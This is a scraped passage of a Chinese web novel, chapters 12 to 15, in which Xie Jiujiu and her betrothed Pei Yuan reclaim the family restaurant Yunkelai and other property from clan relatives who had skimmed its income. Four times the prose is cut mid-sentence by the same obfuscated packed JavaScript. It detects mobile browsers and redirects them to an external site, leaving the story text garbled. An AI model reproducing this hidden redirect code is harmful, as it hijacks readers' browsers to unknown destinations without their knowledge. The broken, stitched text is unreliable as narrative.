谢宝柱把这些肉弄去云客来,炒菜之前拿生粉腌制过,再走大油大火炒出来,不是老饕熟客还真觉得区别不大。 可和人哄地皮地哄肚皮是一个道理,时间长了你们家用的东西好不好,大家伙的还能一点尝不出来?左不过是说不清不好在哪里,下次不来了便是。 怎么食材都变差了,进价却贵了,谢九九指着鸡子那一栏再不掩饰自己的不满。 寻常人家散着买,一个铜钱能换两个鸡子。开饭庄的用得最多的就是鸡子,做菜要用,腌制要用,炸春卷和面还要用,一个铜子最多的时候可是能换四个鸡子! 要真是一个铜钱就能买到一个鸡蛋,这云客来没亏到关门不做,都算厉害的了。 谢九九一边扒拉算盘,用谢宝柱给的账册算成本,一边朗声把每一条不合符常理的挑出来。 听得谢天佑在一旁涨红了脸,想要把账本抢回来又扒拉不过挡在谢九九身前的承平。再抬眼去看饭庄里其他窃窃私语的客人,一向厚脸皮的人也难免臊得慌。 “这、这些事都是你三叔在管,你不要问我,我什么都不知道。” “四叔您早说啊,方才侄儿问你四叔在不在,您又说正事跟您说一样,这不跟我逗闷子嘛。” 谢九九摇摇头,一副早知道干嘛跟你啰嗦这么多的样子,落在谢天佑眼里简直就是火上浇油。矮墩矮墩的汉子赤红着一张脸,非要把承平往一旁掀,像是要冲上来打人。 好在承平也是从小干活长大的,十四五的男孩子给谢家做长工天天能吃饱,长得好壮实的一副身板。 靠着这一副身板,家里顺利的给他说定了一门亲事。 女方那边家里在离容县两个时辰的乡下,家里一生就生了七八个孩子。 家里孩子越多日子越艰难,给承平说的是他家老三秀姑,听说在家也是什么活儿都能干的一把好手。 同意把女儿嫁过来,就是看中了承平的好身板和跟着谢德昌学会算账的本事。 两家都商量好了,让承平在谢家踏踏实实干几年,等两人成家生子多攒些银子,到时候不拘是在去学几年手艺,还是出去干点什么小本的买卖,都是可以的。 这么一个人,哪能叫谢天佑掀开,小伙子一股子莽劲儿,架着胳膊把人一挡,还没怎么使劲儿谢天佑就踉跄着往后退了几步,结结实实摔了个屁墩。 其实他本摔不着,潘掌柜在他身后拉着他呢。可惜谢天佑和谢宝柱这两兄弟实在讨人嫌,见他站不稳潘掌柜赶紧的就把手给撤了。 “哎哟!” 这一下摔得结实,谢天佑歪在地上好半天没能爬起来。等缓过一口劲儿,再抬头看重新坐回去对账的谢九九,和一旁看戏的食客,那叫一个气哟。 气昏了头的人是没有理智可严的,再从地上爬起来的谢天佑下了死力气,还真就把承平给掀到一旁。 不过还没等他揪住谢九九这个可恶至极的小辈儿打上两个嘴巴子,就又被不知道从哪儿来的混蛋玩意儿给挡住了。 裴元虽是读书人,但从小跟着关氏长大,家里的活儿他该做就得做。这几年更是什么都干,颇有一膀子力气。 谢天佑活像个地墩儿,冲过来头先怼到裴元身上。 裴元钳制住他的肩膀往后一使劲儿,谢天佑当即就原地转了大半个圈,再提溜着他的衣领一推,整个人朝着柜台上撞,咚一声发出好大的声响。 “怎么不等我一个人来了,不是说好了一起过来。” “啊?啊。” 谢九九看着急匆匆赶来,以一种很强势的姿态收拾了谢天佑的裴元,只愣了一下就想起自己跟他说过的话,这人是给自己出头来了? “你怎么才来啊,什么事耽搁了?” “刚出门就碰上大舅,临时把我叫去誊写一份文书,就给耽误了。” 裴元着一件浅灰色半旧直裰,今日没簪发簪,而只用浅蓝纱巾束发,腰间系素色腰带做配饰,系得不紧却也把身段轮廓勾勒出来,定睛一瞧真真是个好亮眼的后生。 谢天佑爬起来就要破口大骂,但裴元转身抬手手指狠狠往谢天佑身上一指,眉眼间尽是冷峻肃色,一双漆黑的眸子深不见底,还真就把谢天佑给震慑住了。 “大姑娘现在对账,好不好的对完了才知道。这会儿你闹,这里面有什么错处就都是你心虚,到时候都是你的不是。” “你不闹,账本对完了,到时候该怎么办,也是一家子坐下来商量,对吧。” 对啊!云客来的钱又不是我一个人拿了,那些供货的商户也不是自己做主换的,人家上门女婿说找就找着了,云客来左右是留不住,自己上蹿下跳个什么劲儿啊。 被裴元这么一说,哪怕谢天佑很快反应过来这俩毛还没长齐的小辈儿,是在一个唱红脸一个唱白脸,也不再吭声。 就这么由着谢九九把云客来当戏台子,坐念唱打对了一下午账,等到族里听说这事,找到还在村上商量怎么选里正胜算最大的谢宝柱,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176326|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着人着急忙慌赶到县城的时候,天都半黑了。 饭庄里除了倚在柜台后面无聊扒拉算盘珠子的潘掌柜,就只有一个臊眉耷眼坐着的谢天佑。 “人呢,不是说谢九九来查账来了。” “查了一半,人家说时辰不早,回家吃饭去了。” 或许是破罐子破摔,谢天佑这会儿也着急也不生气,看着火烧眉毛急得跳脚的亲哥哥心里反而有一丝窃喜。该!活该! “账本怎么被她拿去了,不是叫你收好收好!” “那你得问潘掌柜啊,人家不知道什么时候留了一手,把你的账本全誊了下来。” “誊写的不算!谁知道被人改了多少。明天谢九九要是再来,我跟她说。” 谢天佑说完这话转身就走,不知道是去处理他手中的账本了,还是找人商量明日该怎么应付谢九九。 潘掌柜拿出来的确实不是账本原件,但一屋子看热闹的客人又不会管你这是原件还是誊写的。 大部分人当不触及自己的利益时,天生就愿意站在弱者这一边。没瞧见这正是晚上进客的时候一个客人都没有,人家就是摆明了态度,族里不把云客来还回去,人家就不来吃饭了。 谢宝柱和谢天佑怎么盘算,谢九九和裴元是管不着了的。亲事定下了,裴元这会儿把人送到家门口也不走,就这么自然而然的跟着谢九九进了家门。 “要不,留下来吃个晚饭?”谢九九见他这么不见外,就试探性的问了一句。 谁知这人是真会顺杆爬,好似完全听不出谢九九就是客气一句,“好啊,正巧今天中午没赶上家里做饭,都饿了。” 准姑爷上门,还帮着自家姑娘把谢天佑给收拾住了。黄娟一改之前不愿意招赘的态度,笑得那个见牙不见眼的样子,谢九九都不好意思看。 “来了?来了好,以后常来家里吃饭。文济昨天还跟我说他姐夫的字写得好,怎么好我也说不清,还是你们读书人能说到一起去。” 说罢便扬声把谢文济从房里喊出来,让他把裴元带到书房里去。 黄娟把裴元一杆子支开,又起身拉着谢九九往厨房里走,“陈妈妈,把上次腊好的鱼拿出来,切块腊肉加个腊味合蒸。” 黄娟一边说一边蹲下身从坛子里拿出一把酸豆角和一块酸萝卜,黄娟做坛子菜堪称一绝,豆角和萝卜切碎,跟肉沫一起炒,再放上几个小米辣和泡辣椒调味,一勺子就能下一碗饭! “元哥儿本是到家里来给文济送字帖,一听说你去云客来,马上就跟过去了。如何,瞧着可是能扛事的人?” “我看能,脑筋转得快,身板子比不过武馆的后生,也不是那种推一把就倒的。娘,今儿谢天佑可被他噎得不轻。” 谢九九把今天在云客来的事跟黄娟说了一遍,听得黄娟又喜又忧,一边切菜一边跟女儿闲聊。 “你们俩能劲儿往一处使那是最好,就是明天谢宝柱恐怕不这么好对付了。” “您放心,明天就不是今天这个招数了。” 13. 第 13 章 到底什么招数,谢九九不肯说,只说回来的路上就跟裴元商量好了。等明天他也会一起过去,不要家里操心。 裴元也不说,黄娟往他这边看,他就去跟谢文济说文章上的事。 谢文济在读书一事上不是不用功,就是家里的重心几代人都在生意上,不管是谢德昌还是谢九九,读书习字那都是为了赚钱去的。 四书五经诗词歌赋也能听个半懂,但也仅仅限于半懂,再要往深了钻研,就实是不能了。 谢德昌去世的时候谢文济才十岁,守孝这三年出门的时候都不多。 于他而言读书还只是最单纯的读书,四书都尚未读透嚼烂,就更不用提五经和诗赋策论,给了题目都无从下手。 裴元是还没过门的姐夫,有些不懂的地方问姐夫比问先生来得方便,也没有那么大的压力。这会子裴元拿自己做挡箭牌,谢文济并不戳穿。 吃过饭,天色晚了。裴元不再多留,拿着黄娟硬要给两条腊鱼回去了。 谢九九见一家子都眼巴巴的看着自己,那眼神里的意思说不好是想问云客来的事还是裴元的事。 不管哪一样谢九九现在都不想说,只得故意夸张打了两个哈欠,一个劲的说今天好累好累,这才躲回房里去。 原以为躲了就躲了,没想到一更天的梆子都打过了,家里老三芝娘却推门进来了。 “怎么还没睡,娘呢?” “娘睡下了,我说今晚想跟大姐睡,娘就让我过来了。” 芝娘刚过完七岁生日没多久,小孩儿从小就听着外人说自己家里都是妇孺孩子,听得多了也能分辨人家语气的‘可惜’是真还是假。 过完七岁生日,谁再问她芝娘多大了,她都说八岁。好似八岁的年纪很不小,很能当个大人用了一般。 小姑娘抱着自己的小枕头站在门口看着谢九九,小脸绷得紧紧的,一副‘我今夜就要跟姐姐一起睡,姐姐不能说不’的样子。 “刷了牙没有,刷过牙了自己去床上等着。” “江妈妈给的温盐水,刷了。” 从去年起芝娘就开始换乳牙了,最先掉的是下面的门牙,现在下面的门牙长起来,又轮到上面的门牙了。 缺了两颗门牙的小姑娘在外面连笑都要捂着嘴,这也就是谢九九,才能叫她咧着嘴龇着一口珍珠米粒的牙齿给她看。 看完立马又闭紧了,脱了绣鞋盘腿坐到床上,头靠在架子床床沿上,看着坐在书桌后还在写写画画的大姐,不说话就这么安安静静的看着。 谢芝娘是家里最小的孩子,当年谢德昌去世的时候她虚岁才五岁,四五岁的孩子还不懂事,爹爹去世是个什么意思,她那时候还不大明白。 等到后来长到明白生死是怎么一回事的时候,对于父亲的记忆又已经慢慢浅淡了。 对于谢德昌这个爹,谢芝娘知道爹在世的时候家里很好,爹对娘和姐姐哥哥和自己也很好,但再多的情绪和感情,就没什么了。 大姐要招赘这件事,芝娘一直没有表现出任何激烈的情绪,看不出她对于家里要多一个姐夫是愿意还是不愿意。 她看着姐姐忙完放下笔,接过丫鬟春儿端进来的热水洗脚,白生生的脚泡在加了两次热水的铜盆里,激得谢九九忍不住浑身一激灵,累了一天的疲倦瞬间就散了大半。 “大姐,裴元那个人,你喜欢吗。” “嗯?” 谢九九正泡脚泡得舒服,突然听妹妹这么一问,都愣了一下才反应过来她是在问什么。 “一直没说话,我还以为你挺满意这事呢,怎么突然想起问这个了。” “我觉得那个人……”谢芝娘抿着唇,舌尖忍不住去舔贴着牙龈刚长出一点点的门牙。 随即想起来娘和哥哥唠叨过好多次,说长牙齿的时候不能舔,舔了长出来的牙齿就是龅牙,又把舌头给缩回去了。 伸手从摆在床边小几上的攒盒里拿了粒梅子含着,一边嘬梅子的味道一边犹豫,想了半天才继续说:“我觉得他太好了,跟族里那些人不一样。” 七八岁的孩子找不到更合适的词,也挑不出能做比较的人,想来想起只能拿族里那些人来对比。 “族里那些人说我们跟他们是一家子,他们都是为了我们好。可为了我们好,却总要拿我们家的银子。” 芝娘是家里最小的,那几年家里生意平稳年成也好,谢德昌每年过年前都要给三个孩子攒一个小小的金器。 到谢德昌去世前,芝娘有一个金的平安锁,一个金脚镯,一对金镶珍珠的金耳环,还有一套金子打的小碗小筷子。这些东西芝娘自己收着,过段时间就要拿出来看一看。 这样的金器,这三年家里就再没有添过了。是因为守孝,也是因为家里的银钱进项越来越少了。 “裴元……裴郎君跟姐姐刚定下亲事,他没说那些好话,但做的事却都是为了家里好。二哥说他有大才,他的功课有什么不懂的,一问他就能说得明白。” “就你二哥那半桶水,见谁都是大才。” 谢九九没有马上跟芝娘解释裴元的事,脱口而出的就是挤兑自家弟弟。 4听得谢芝娘咯咯笑得歪倒在床上,顺势就往被子里钻。等到九九也钻进被子的时候,被子里已经被她睡热乎了。 “你是不是想说裴元太殷勤了,对我和家里太好,害怕他心里谋算得更多。” “嗯嗯!就是这个意思。” 自己心里就是这么想的,谢芝娘听得连连点头。随即又不好意思的搂着姐姐的胳膊晃了晃,“姐,我不是说他的坏话。” “我知道,你要说他的坏话早就说了,不会等到现在。” “他心里有谋算,并不是坏事。男子入赘,即便他的出身特殊,早就习惯了旁人非议,这也不是一件小事吧。” “他做了这个决定,除了图我这个人,是不是还得图点别的什么。” 两人的婚书是送到衙门里留了一份的,裴元是个聪明人,又是个志在出仕的人,他会比寻常男子更加爱惜名声,讲究规矩体面,这对自己来说是一件好事。 毕竟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176327|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是想要科举出仕,这一路要花费的钱财,那可真是越算越吓人的。 就更不用说有朝一日真的中了进士,初入官场需要多少家底子傍身,才能走得不那么坎坷,裴元心里有数。只凭这个,他就得是真心实意希望谢家好。 那些话本子里说,一招中了状元就抛妻弃子的人,也只存在话本子里。真要这么做了,世上没有不透风的墙,家中有个糟糠妻罢了,难道比毁了名声前程更吓人吗。 “芝娘,你不能妄图有人只对你好,而一点都不从你身上索取什么。 如果你听到有人这么跟你说,你切记要离那样的人远一点,那种说不定才是吃人不吐骨头的人。” 说的难听些,那些男子哪怕是把银子成山成海的往勾栏女支馆里扔,不也要图个高兴吗,谁还是个只付出不索取的贱皮子呢。 裴元有所求是好事,自己能给得起他要的价码也是好事。他要谢家的钱财支撑他去科举,自己要他这么个人顶门立户,堵旁人悠悠之口。 就算有一天他要同自己和离,到时候他能给自己的东西肯定不是眼下这些了。给得起,自然一别两宽。给不起,到时候就再碰一碰也无妨,谁说吃亏的一定是自己。 有些话跟黄娟说不得,此刻说给芝娘听倒是无妨。这小丫头从小就有一个好处,只要是入了她的耳的,从会从她的口中传出去。 外人眼拙,总说谢家的小女儿木讷少言。只有谢九九知道,自己这个妹妹心中有丘壑,以后说不得比自己要出息得多。 谢九九的话,谢芝娘听懂了,但新的疑虑又更大了。 不过看着已经困得睁不开眼,好像真没把这事放在心上的姐姐,她也不再在这件事上纠结。挪了挪小脑袋在枕头中间有些凹陷的地方找到一个最舒服的位置,没多会儿就睡着了。 姐妹俩头抵着头睡了一夜,等到第二天裴元过来,芝娘便拉着九九的手指不放,“姐,今天我也想跟着去。” “别缠着你姐,你姐出门是有正事。”黄娟看小女儿缠人,就想要把芝娘拉回来。 九九侧过头冲裴元挑了挑眉毛,作为还没过门的姐夫,哪能这个时候扫小姨子的兴,当即就表示把春儿也带上,正好给芝娘做个伴。 知道谢九九还要来,今儿不光谢宝柱在,族里几个老头也来了。 昨天谢宝柱连夜回鹿角镇见了族爷,之后又马不停蹄回鹿鸣乡跟家中与族里几人提前把话串好,要是今天谢九九再拿账不对来闹事,大家就得一起上。 毕竟族中这几年只是代管,又不像谢德昌自来就是做生意的出身。族里千不好万不好,难道这几年帮你家守着云客来还守出错处来了? 账面上有对不上的地方那是不善经营,你一个晚辈要是总拿着这些小事不放,还要跟族中长辈论个对错,孝道仁义何在! 统一了口风,云客来一开门他们就都严阵以待的等着了。 谁知左等等不来右等等不来,一直等到快中午的时候,谢九九才带着她那未过门的姑爷,和谢芝娘那小丫头片子过来。 14. 第 14 章 来是来了,但人家今天换招数了。 昨天谢九九还坐在一楼大堂最显眼的那一桌,拿着人人都知道是假的账册,把算盘打得噼啪直响消磨时间,直到太阳落山只剩一抹余晖,才起身往外走。 今天再来,谢九九连门都不进了。让承平从云客来里搬了桌椅板凳出来,裴元从把早就准备好的包袱皮展开铺好,拿出里面的笔墨纸砚摆好,随即就往桌子后头那么一坐。 “潘掌柜,今天借咱们店门口的地方摆个摊,可行啊。” 裴元拿出一张白棉纸,写上今日代写书信免费,拿浆糊贴在桌子侧边,就算是开张了。 能代写家信的摊子,业务范围可广了。帮人读信、写帖子、取名字、写契书等等,只要是跟写字有关的,能写的都能帮着弄。 别看写这个赚不了几个钱,可要说免费,平时总说亲人在外山高路远没什么好惦记的人,就都凑过来了。 裴元是忙得连抬头看一看后面还排了多少人的时间都没有,谢九九便在一旁打下手帮忙。 有认识谢九九的问两人的关系,谢九九大大方方介绍,有人问昨天云客来里的事,她也丝毫不瞒着。 先是把昨天的事原原本本说了,之后又在谢宝柱走到门外想要接话时,装出一副有些苦恼又有些后悔的样子截断了他的话头。 “我四叔真是误会我了,账面上的东西哪有一点错处都没有的。谁家掌柜东家敢拍着胸脯说,自己的帐一点问题都没有,恐怕也是自夸。” “对账就是个过程,我的亲事定下来了,以后族里的长辈不用怕我出入云客来会有人说闲话,把账对完三叔、四叔也不必老替我守着这饭庄,耽误自己的事了。” “那天跟族爷他们都说好了,等把云客来收回来,给村里置办私塾的事就该抓紧了。 我家在村上的老房子得大修,房子修整完还要晾一晾才能用。不抓紧些到时候耽误了孩子读书,就不好了。” “原本我也不着急,这不是家里马上就要多个读书人,他说的,耽误什么都不能耽误了读书。” 还没等族里拿两人没完婚,这事就不算定下来当由头,谢九九就先把私塾的事给抛了出来,这一下谢宝柱就更被噎得不知道怎么接话。 “三叔,昨天四叔生好大的气,真是误会我。我娘还天天嫌我拿了家里买菜的钱出去买零嘴,我说我没买,她非说我是回家的路上就吃完了,这上哪儿说理去。” “您说是不是这个道理,三叔。”谢九九笑起来的样子人畜无害,说话的语调甚至还带着几分天真。 市井里过日子,没有话本子里才子佳人大家闺秀那么多规矩。 听谢九九故意说得摇头晃脑的,围在桌子旁等着给写信写东西的人都笑,连隔壁酒肆的掌柜的也站在门口直乐呵。 “九九,上次是谁拿着两个油饼一包糖从我门前过来着。芝娘,你姐有没有拿油饼回家,有没有分给你吃。” “没有呢,姐姐路上就吃完了。回去偷偷跟我说那饼子味道不好吃,她是勉强帮我吃了。” 春儿陪着芝娘坐在一旁的条凳上翻花绳,芝娘突然接这么一句话,惹得大家伙儿越发的笑。住在同一条巷子里的德大娘更是直指着谢九九,“你这丫头,就属你鬼精鬼精的。” 谢九九这话听在众人耳朵里,当个热闹听的人只顾着笑。心肠多转几个弯的,都忍不住往脸色铁青的谢宝柱那边看。 谢九九这话是说自己,又何尝不是在说谢宝柱。账面上的这些错漏和价钱上的出入,想要找理由都能找到。 你觉得这借口找得烂又如何,昧下来的银子他们分了,谢九九只要眼下没法找出切实的证据来,这个亏她吃也得吃,不吃也得吃。 所以这会儿明面上看着是谢九九主动把昨天的事情解释清楚,不让谢宝柱生气。但不管看热闹的是谁,都觉得这个亏是谢德昌留下的妇孺吃了。 大家都你一言我一语的跟谢宝柱说,既然是这样那就赶紧的把云客来还回去。本来就是人家家里的产业,人家三年前是一家子妇孺孩子,现在可不是了。 谢九九大了,谢文济也不小了。这又添了一个马上要过门的姑爷,还是个正儿八经的读书人,什么饭庄摆弄不明白。 再说了,就是摆弄不明白还能比你谢宝柱和谢天佑更不靠谱吗,被个十多岁的小姑娘挤兑成这样,连个还嘴的能力都没有。 人家现在黑不提白不提的,赶紧借坡下驴最好。真要是逼急了人家,说不定还有多少收拾人的人法子等着你们呢。 谢宝柱憋了一肚子火,想破口大骂又不敢。谢天佑更是干脆躲在云客来里没出来。族爷今儿也来了,坐在不起眼的角落里一个劲的跺手里的拐杖。 只有跟着过来的谢家幺叔默默听着,好似被挤兑的人里头压根没有自己。这会儿见外面起哄架秧子得差不多了才开口:“叔,该把这事了了,就算看在德昌的份上。” 德昌不德昌的,族爷且顾不上。但幺叔递过来的梯子,他得顺着下啊。要不然等事情到了不能收拾的地步,就是没台阶不也得往下蹦。 “宝柱,别站在门口了。把九九和她家那新姑爷叫进来,今儿咱们就把事情给了了。” “族爷!” “如何?!这事就这么办,谁都别再多嘴!” 有时候看似麻烦的事,只要从外面撕开一个口子,就很容易了。 谢家的产业除了云客来饭庄,还有村上一共五百亩的田。 田契倒是一直都在家里收着,但这几年佃户和田里的产出一直是族里代管,现在只要把这三年的账本和村上存放粮食的仓库钥匙交接一下就行。 镇上还有个小宅子,谢家没人住一直都是赁给别人收些租子。这三年换了租户,租房子的也是族爷的一个什么八竿子才打得着的外甥。 因着是亲戚,说什么一家子都是仔细人,知道爱惜东西,租那房子就等于是帮你家看着房子,房子不住空在那里也是荒了,所以给的租金比外头要便宜整整一半。 哪怕就是那少了一半,谢家一年到头也没见着这个钱。头一年问,说是那宅子后院的厨房房顶塌了要重新修,第二年问,又说是前院的围墙倒了,租金又填了这个坑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176328|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>等到第三年,谢九九就不问了。谢家不问人家也不说,还真就当做压根没有这件事,再不提了。 谢九九提起这个宅子的时候,黑着脸坐在一旁的族爷还愣了一下,明显他都忘了镇上那房子是谢家的不是他的,就这么理直气壮的给外甥住了三年。 现在丁是丁卯是卯的拿出来说,为了一圈看热闹的人才发现,明面上说得好定地契房契田契都在谢家,人家族里只是帮着搭理。 但其实这些产业的收益,一大半都归了他们。说白了这就是吃绝户的路子。 谢家要是没有谢九九这么个性子硬邦邦的闺女,要不了几年这些产业或许还姓谢,但姓的是哪个谢可就不好说了。 这样的做派,惹得看热闹的人都一个个往谢家那爷几个身上甩眼刀子。县城不大,底下的镇子村子更小,要想在这种地方活得体面,名声有时候是很重要的东西。 现在谢九九当着所有人的面,一次又一次的把他们的脸皮往下剐,原本心心念念想要占为己有的云客来,几人都觉得简直连站都站不住。 把该交割的钥匙账本交割完,不等谢九九再说点什么,便耷拉着脑袋臊眉耷眼的走了。 他们走了,裴元的摊子还得继续摆。一直到给排在最后一个的老伯写完家信,才收拾好笔墨慢慢悠悠往回走。 “云客来要回来,只是一个开始。生意差了,不是一天两天能有起色的。” “等成了亲,家里的事我来看顾,饭庄里的事你拿主意。要是有用得着我的地方……” 裴元没有顺着自己的情绪给出保证,而是思量了一小会儿,才侧过头去看谢九九的眼睛,“等入了秋恐怕就不得闲了,不过只要我腾得出功夫,就来帮你。” 都说十年寒窗苦读,这话一点儿都不夸张。 从童子试起,每一场考试都要考四书五经策论诗赋,更不要说越往上占比越大的论、判、诏、诰、表等作文方式和越发高深的策论。 要考过这些,不说把四书五经倒背如流,也必须要彻底吃透。吃透以后再学会如何举一反三,如何从表象看透本质,乃至猜透出题官的心思。 而读书,大部分时候都是以史鉴人。前朝古时的史书不能不读,很多时候策论出的题,都是由史书上而来。想要破题破得好,就得把书读明白。 但光读明白了不够,还得练。考场上就那些时间,听上去好几天其实只要稍微一犹豫一不定,就很可能不够用了。 只能日复一日的练,年复一年的写,直到一看到题脑子里就能反应过来这题该怎么破怎么动笔,才有可能在全天下的学子中脱颖而出。 要不然万千学子,自己又不是什么不世出的天才,凭什么非得自己考中,而别人考不中呢。 “你要考试自然是以考试为主。饭庄里日常的事情我一个人够了,家里还有柱子、承平他们,不至于人手不够。真要是要你出面的时候,我会主动跟你说的。” “好。” 芝娘已经被春儿和承平先带着回家了,两人就沿着县城最繁华的一条街慢慢往回走,谁也没再多说什么。 15. 第 15 章 把云客来要回来,谢九九在家胡吃闷睡的待了三天。 什么都不想什么都不琢磨,每天睡到自然醒起来吃饭。不想梳洗不想换衣服连人都不想见的时候,就让春儿把饭菜端到房里来吃。 吃完了睡不着就摸本书看,实在在房里赖不下去了,才起身穿上衣裳洗个脸梳个头,去隔壁婶子家找正在打马吊牌的黄娟。 之前身上带孝,不好老去别人家里,牌瘾犯了也只能叫上几个关系特别好的妇人到家里来玩儿。 有时候人凑不齐,谢九九还得上桌撑台脚。从牌都算不清到现在,看一眼牌桌上出的牌就能大概算出来她娘这把有没有机会赢,也就三年。 “九九啊,那天你去云客来到底怎么弄的啊,再跟婶子说说。你叔那人嘴笨,我问一句他答一句的,听着不过瘾。” 谢九九只花了两天时间,就把云客来给收回来的事情,这几天已经在县城里传遍了。 人人都觉得谢家铁定要吃大亏的事,居然光靠一个谢九九真就要回来了。 这一条巷子里住着的都是做买卖的人家,没有巨贾大富,都是小本的买卖,一家子所有的心思都扑在家里的生意上,才能赚些钱的人家。 她们比谁都清楚谢家的处境,外人看着谢家舍了钱财给族里,还答应他们要在村上办私塾,已然是吃了亏。 但他们知道这一块肉愿不愿意都得出,能把事情办成现在这样,谢九九这姑娘,不是凡人。 要不是谢九九打定了主意要招赘,这条巷子里好几户人家都想把她娶回去当媳妇儿。有个这么厉害的媳妇子,家里的生意说不定哪天就真做大了。 “婶子,我哪有弄什么。本来就是我家的东西,族里长辈不过替我们管了几年。现在我要成亲,自然是要交还回来,要不然我都不知道该怎么给工钱。” “不给工钱叫人家白替我做工,人家不乐意我也不好意思。像潘掌柜那样按时给工钱,都是一家子亲戚,说不得长辈们还得怪我跟他们见外。” “既如此,倒不如丁是丁卯是卯的分开些,还全了亲戚之间的感情。” 谢九九睁着眼睛说瞎话,脸都不红。 谢家那老族爷听说回去就躺下了,家里人原以为是去一趟县城累着了也没多问,等到第二天早上家里老婆子推他起不来,一碰就直哼哼,这才发现人被气病了。 病了也不敢说是气病的,外面现在传那几个人的名声一个比一个不好听,谁不嫌弃他们把谢家当绝户吃,做事做得太缺德。 别人问起来,他们家人还只能装出一副什么事都没有,乐乐呵呵高高兴兴的样子。 非说是家里老爷子把云客来还回去了,心里懈了担子。晚上在家里一高兴喝多了,夜里蹬了被子感冒了,一点小病过几天就好了。 “你这丫头,嘴里没一句实话,跟你爹那时候一样一样的。” 被敷衍了的婶子也不生气,有些事能做不能说,再得意再高兴也不能漏了口风。别管人家看没看出来你心里怎么想的,只要嘴上一口咬死了不认,才不会被旁人钻了空子。 谢九九说得大义凛然,牌桌上的几个嫂子婶子也就这么听,不再追问这个,又反过头来打听云客来的事情。 “云客来从去年起那生意就不好,九九你可得想法子了。饭庄不比别的生意,差了人气再想聚拢来不容易,你就是味道好人家见里头不进客,就都不进去了。” “兰姨可说到点子上了,我这不是正发愁吗。” 饭庄被谢宝柱他们弄得不像样,后厨里两个大师傅走了一个,另一个上个月请假回乡到现在都没回来。 后厨现在掌勺的是刚出师没两年的一个年轻人,谢九九不熟,只知道店里的人都叫他大头。看上去二十七八的年纪,做菜的味道不差,也仅限于不差。 回乡的大师傅还回不回来不好说,大头这么勉强支应着生意怎么办更是一件麻烦事,这些事要么不想,一想就叫人头疼得很。 自己跟裴元定了亲,因着是入赘,按照田婆子给算的日子,四月初自家就要把聘礼送去裴家。把聘礼送过去定下正日子,之后就又得忙成婚的事了。 黄娟之前就说了,别人家怎么办喜事自家就怎么办,不能因着是入赘就敷衍,据说到时候还在巷子里摆流水席,大宴宾客。 这些流程走下来,谢九九掰着指头一算怎么也得两个月?再想快点是怎么都不行的了。 这几个月家里忙自己的亲事,自己还得抽空把私塾的事给定下来。 鹿鸣乡的老房子好久没人住了,要修缮的话人手不用愁,乡下建房子都是一个村子里的人有空就来搭把手,在村子里干活卖力气不算什么,只要主家管一顿饭就行。 但自家在村上的房子,也是前后两进还带一个后院的宅子。要修缮光有土砖可不够,还得想法子弄些木料和瓦片、石灰和灰浆过去才行。 眼下是三月,正是农忙的时候。村上壮劳力不够的话,说不定还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176329|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去南城外的码头上招些力工,这么一来还要再多准备些钱才行。 还有教书先生,这才是最要紧的。 不求族里大部分以后记得自己的好,只要能安抚住他们,别总是动不动就惦记自己家的家业,眼下唯一的办法就是施恩。 把恩施到实处,让他们知道这个私塾自己自己能办起来,西席的先生只有自己能请来,换做谢宝柱他们就请不来这么好的先生,往后族里那几个老的再想做什么,便难了。 事情一桩桩一件件的轮番在脑子里打转,先做哪个后做哪个都麻烦。 谢九九脑袋靠在黄娟肩膀上一下子就安静下来,几个打牌的也不再追问这些事情,那个兰姨冲黄娟挑一挑眉毛,下午的牌局便早早的散了。 “走,陪我出去买点东西。” 说是买东西,刚出巷子口,黄娟就带着谢九九往在巷口开了好些年的小食肆里走。 谢家的宅子离云客来不远也不近,都在南城的范围里。南城靠近码头,热闹之余往码头来谋生的人也多,干活的人是顾不上按时吃饭的。 有时候一天没接着活儿,早上出门前在家吃一顿稀的,晚上回去再吃一顿稀的,就这么着一天糊弄个水饱也是过。 有时候接着活儿了,那就赶紧的干,什么时候干完什么时候算这一天的工钱。拿了工钱去小饭馆里吃一顿,卖力气活的得吃肉,要不然浑身没劲儿。 